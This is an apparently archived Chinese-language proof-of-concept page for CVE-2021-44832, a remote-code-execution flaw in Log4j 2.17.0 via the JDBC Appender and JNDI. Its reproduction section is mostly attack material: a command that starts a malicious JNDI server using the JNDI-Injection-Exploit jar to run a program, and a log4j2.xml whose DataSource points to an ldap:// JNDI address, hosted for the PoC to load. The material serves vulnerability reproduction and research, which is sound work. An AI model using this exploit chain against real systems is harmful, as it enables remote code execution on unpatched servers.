关联漏洞
标题:
Apache Log4j 输入验证错误漏洞
(CVE-2021-44832)
描述:Apache Log4j是美国阿帕奇(Apache)基金会的一款基于Java的开源日志记录工具。 Apache Log4j2 2.0-beta7 到 2.17.0版本存在注入漏洞,该漏洞源于软件中对于JDBC Appender 和JNDI 缺少有效的防护与过滤。有权修改日志配置文件的攻击者可以构建恶意配置 将 JDBC Appender 与引用 JNDI URI 的数据源一起使用,该 JNDI URI 可以执行远程代码。
介绍
# Log4j 2.17.0 RCE -- CVE-2021-44832
## 复现
1. 启动恶意jndi server
```
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
```

2. 修改config/log4j2.xml中的DataSource部分为你生成的jndi地址
```
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
<Appenders>
<JDBC name="databaseAppender" tableName="dbo.application_log">
<DataSource jndiName="ldap://127.0.0.1:1389/nvrcl6" />
<Column name="eventDate" isEventTimestamp="true" />
<Column name="level" pattern="%level" />
<Column name="logger" pattern="%logger" />
<Column name="message" pattern="%message" />
<Column name="exception" pattern="%ex{full}" />
</JDBC>
</Appenders>
<Loggers>
<Root level="warn">
<AppenderRef ref="databaseAppender"/>
</Root>
</Loggers>
</Configuration>
```
配置文件部署到自己的http服务器上
3. 修改Poc
修改为http服务器上的部署的配置文件

4. 执行

## Log4shell Topic
https://github.com/cckuailong/reapoc/tree/main/Topic/Log4j
## Welcome to contribute in reapoc
https://github.com/cckuailong/reapoc
文件快照
[4.0K] /data/pocs/b6c586e0c279d8897cea49f1a52849268d94028d
├── [4.0K] config
│ └── [ 685] log4j2.xml
├── [4.0K] images
│ ├── [156K] 1.png
│ ├── [ 68K] 2.png
│ └── [799K] 3.png
├── [ 80] log4j_RCE.iml
├── [2.5K] pom.xml
├── [1.3K] README.md
└── [4.0K] src
├── [4.0K] main
│ ├── [4.0K] java
│ │ ├── [4.0K] META-INF
│ │ │ └── [ 40] MANIFEST.MF
│ │ └── [ 426] Test.java
│ ├── [4.0K] resources
│ │ └── [ 416] log4j2.xml
│ └── [4.0K] webapp
│ ├── [ 255] index.jsp
│ └── [4.0K] WEB-INF
│ └── [ 215] web.xml
└── [4.0K] META-INF
└── [ 40] MANIFEST.MF
10 directories, 13 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。